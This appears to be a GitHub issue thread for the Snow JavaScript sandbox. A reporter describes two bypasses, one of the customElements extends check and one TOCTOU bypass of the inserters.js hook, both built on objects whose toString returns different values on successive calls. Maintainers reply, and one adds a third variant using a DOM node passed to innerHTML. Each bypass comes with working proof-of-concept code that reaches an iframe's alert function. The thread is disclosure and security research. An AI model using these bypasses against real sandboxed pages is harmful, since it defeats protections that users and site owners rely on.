customElements extends check can be bypassed using a non-string

[avlidienbrunn]

The code for checking if the extended element is framable doesn't make sure that the value is a string (alternatively; that the value checked is the same value that is forwarded):

const extend = options.extends;
            if (isTagFramable(extend+'')) {

We can use a class that will return different toString return values to bypass the check (return "non-frame" first time, return frame second+ time). We can then use connectedCallback to get hold of the alert function from the extended iframe before its "poisoned":

class a extends HTMLIFrameElement {
    constructor() {
        super();
    }
    connectedCallback() {
        this.contentWindow.alert(1);
    }
}

customElements.define(`x-foo`, a, {extends: new class b{fetched=false;toString=e=>{return this.fetched?'iframe':this.fetched=true}}});
document.documentElement.innerHTML += `<iframe is="x-foo"></iframe>`;

[avlidienbrunn]

The hook in inserters.js can be bypassed similarly (TOCTOU), to avoid ERR_HTML_FRAMES_SRCDOC_BLOCKED when inserting a html string containing an iframe with srcdoc:

        before(args); // will operate on <u>legit html!</u>
        const ret = Function.prototype.apply.call(native, this, args); // will operate on <iframe id=xxx srcdoc="<iframe>"></iframe>
        after(args, element);

class b extends HTMLElement {
    constructor() {
        super();
    };
    fetched=false;
    toString() {
        if(this.fetched){
            return '<iframe id=xxx srcdoc="<iframe>"></iframe>';
        }else{
            return this.fetched='<u>legit html!</u>';
        }
    };
};

customElements.define('x-foo', b);
document.documentElement.insertAdjacentHTML("beforeend",document.createElement('x-foo'));
setTimeout(e=>{xxx.contentWindow.frames[0].alert(1)}, 1000);

[naugtur]

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this. The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later.

[weizman]

Very nice, very creative and well explained - thank you @avlidienbrunn! Did some research, not gonna be able to address this atm, leaving some extra conclusions for now:

a = document.createElement('a');
top.xxx = 0;
a.toString = () => {
    console.log(top.xxx);
    if (top.xxx === 1) {
         return '<iframe srcdoc="<iframe>"></iframe>';
    }
    top.xxx++;
    return '<legit>xxx</legit>';
}
document.body.innerHTML = a;
setTimeout(() => window[0][0].alert('bypass'), 101)

would also work, because snow isn't well prepared for actual DOM nodes passed to HTML sinks...

(AM OPEN FOR MITIGATION IDEAS/THOUGHTS!)